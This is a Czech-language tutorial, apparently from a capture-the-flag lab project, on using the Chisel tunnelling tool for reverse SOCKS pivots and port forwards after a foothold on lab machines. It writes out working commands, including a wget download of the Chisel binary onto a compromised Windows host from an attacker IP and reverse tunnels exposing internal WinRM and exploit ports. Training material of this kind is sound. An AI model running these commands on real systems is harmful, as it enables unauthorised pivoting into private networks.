Chisel
Úvod a kontext
Chisel je v tomto projektu praktický hlavně jako rychlý tunelovací nástroj ve chvíli, kdy první foothold ještě neznamená použitelný přístup k tomu, co je opravdu důležité. Typicky nejde o finální shell, ale o most:
- k localhost-only službě,
- k internímu portu,
- nebo k neveřejnému segmentu, který se teprve po tunelu stane dosažitelným.
Na Anubisu vytváří reverzní SOCKS pivot do interní sítě. Na Controlu přeposílá lokální WinRM port ven, aby se dalo přejít z webshellu na stabilní správní kanál. Na Bankrobberu a Cerealu zpřístupňuje interní služby, které samy o sobě nejsou zvenku dosažitelné. Širší logiku takových mostů rozebírám i v článku Port forwarding, proxy a protokolové mosty jako exploitační primitivum.
Co Chisel v praxi řeší
Chisel je tunelovací nástroj nad HTTP/WebSocket transportem. Prakticky odpovídá na otázky:
- jak z kompromitovaného hostu dostat interní port ven,
- jak vytvořit reverzní SOCKS proxy,
- a jak si postavit malý pivot bez potřeby těžší VPN nebo agent frameworku.
Jeho největší hodnota je v tom, že z nestabilního footholdu rychle udělá dopravní vrstvu pro další normální nástroje:
evil-winrm,curl,- SMB klienty,
- nebo interní exploit skripty.
Nejčastější scénáře využití v tomto projektu
Reverzní SOCKS pivot po prvním command execution
Na Anubisu webový foothold ještě nic zásadního neřeší. Důležité služby leží až v interní síti, takže první smysluplný krok je vytvořit reverzní SOCKS:
./chisel server -p 8080 --reverse
cmd /c chisel_windows_amd64.exe client 10.10.14.7:8080 R:socks
Právě odtud vzniká skutečná hodnota:
- kompromitovaný host se stane dopravní bránou,
proxychainsmůže obsloužit interní web, SMB nebo Kerberos,- a útok se přesune z jednorázového ASP payloadu do normální práce s interními službami.
Tady je důležité, že Chisel neřeší útok sám. Řeší až okamžik, kdy útok potřebuje přežít a rozšířit se do další sítě.
Přeposlání localhost-only nebo interního portu ven
Na Controlu už účet hector existuje, ale WinRM není zvenku dosažitelný. Místo zůstávání u nepohodlného webshellu dává smysl přeposlat lokální 5985 ven:
wget http://10.10.15.217:8000/exe/chisel_windows_amd64.exe -outfile c:\windows\temp\chisel_windows_amd64.exe
c:\windows\temp\chisel_windows_amd64.exe client 10.10.15.217:8008 R:5985:127.0.0.1:5985
chisel server -p 8008 --reverse
To je velmi praktický pattern:
- credential už existuje,
- ale správní služba není vystavená,
- a
Chiselji promění v lokálně dosažitelný endpoint proevil-winrm.
Tím se z jednorázového webshellu stane stabilní shell přes správný management kanál.
Zpřístupnění jiné interní služby pro další trigger
Na Cerealu je situace jiná. Po prvním shellu se ukáže GraphQL služba na localhostu a kombinace s SeImpersonatePrivilege. Chisel tu neřeší přímý shell, ale zpřístupní interní GraphQL endpoint ven:
./chisel server -p 8001 --reverse
chisel_windows_amd64.exe client 10.10.14.22:8001 R:8081:127.0.0.1:8080
Teprve pak lze zvenku triggernout GraphQL mutaci, která spolu s GenericPotato dovede útok až k rootu.
To je důležitá lekce: Chisel je často bridge mezi “už něco mám” a “teď konečně můžu zvenku ovládat správnou interní službu”.
Přístup k neveřejnému portu exploitu
Na Bankrobberu je hlavní aplikace jen první fáze. Buffer overflow běží na interním portu 910, který veřejně vidět není. Chisel ho zpřístupní ven:
chisel_windows_amd64.exe client 10.10.14.223:8008 R:910:0.0.0.0:910
chisel server -p 8008 --reverse
Právě tady je dobře vidět, že tunel není komfortní doplněk. Bez něj by finální exploit neměl na co mířit.
Kdy je Chisel nejlepší volba
Největší smysl dává tehdy, když:
- už máte foothold na hostu,
- ale klíčová služba běží jen lokálně nebo v interní vrstvě,
- a chcete rychle postavit reverzní port forward nebo SOCKS pivot.
V takových situacích bývá lehčí a rychlejší než širší tunelovací řešení.
Co Chisel neumí vyřešit za vás
Chisel:
- sám neotevře foothold,
- neřeší, co dělat s interní službou po zpřístupnění,
- a nenahradí další tooling, který přes tunel teprve poběží.
Na Anubisu musí po tunelu přijít proxychains, Responder, kinit a evil-winrm. Na Controlu je stále potřeba platný účet. Na Bankrobberu a Cerealu teprve po tunelu přichází finální trigger.
Nejčastější chyby při použití
Záměna za finální pivot řešení pro všechno
Chisel je skvělý pro rychlý most. To ale neznamená, že je nejlepší pro každý dlouhodobý nebo rozsáhlý pivot. Jeho největší hodnota je v rychlosti a jednoduchosti.
Stavba tunelu bez jasného cíle
Tunel má smysl tehdy, když už víte:
- který port potřebujete,
- nebo že potřebujete SOCKS pro konkrétní interní práci.
Bez toho jen otevíráte dopravu bez dalšího plánu.
Zapomenutí na další vrstvu nástrojů
Chisel sám obvykle útok neuzavře. V projektu opakovaně funguje až ve dvojici s další vrstvou:
proxychains,evil-winrm,- nebo interním klientem proti zpřístupněné službě.
Nejčastější praktické scénáře
Potřebuji reverzní SOCKS do interní sítě
To je Anubis.
Potřebuji dostat localhost službu ven a přejít na lepší správní kanál
To je Control.
Potřebuji zpřístupnit interní port, proti kterému poběží další exploit nebo trigger
To je Bankrobber a Cereal.
Související články v projektu
- Rozbory: Anubis, Control, Bankrobber, Cereal
- Nástroje: Proxychains, Socat
- Techniky: Port forwarding, proxy a protokolové mosty jako exploitační primitivum, Lokálně dostupné služby po footholdu: localhost není boundary
Co si odnést do praxe
Chiselje v praxi nejcennější jako rychlý reverzní tunel nebo SOCKS pivot po prvním footholdu.- Největší hodnotu má ve chvíli, kdy klíčová služba běží jen lokálně nebo v interní vrstvě a je potřeba ji zpřístupnit běžnému toolingu.
- Tunel sám útok nevyhrává. Vyhrává ho tím, že otevře správný dopravní kanál k další službě.
Další Související Články V Projektu
Techniky
- Lokálně dostupné služby po footholdu: localhost není boundary
- Port forwarding, proxy a protokolové mosty jako exploitační primitivum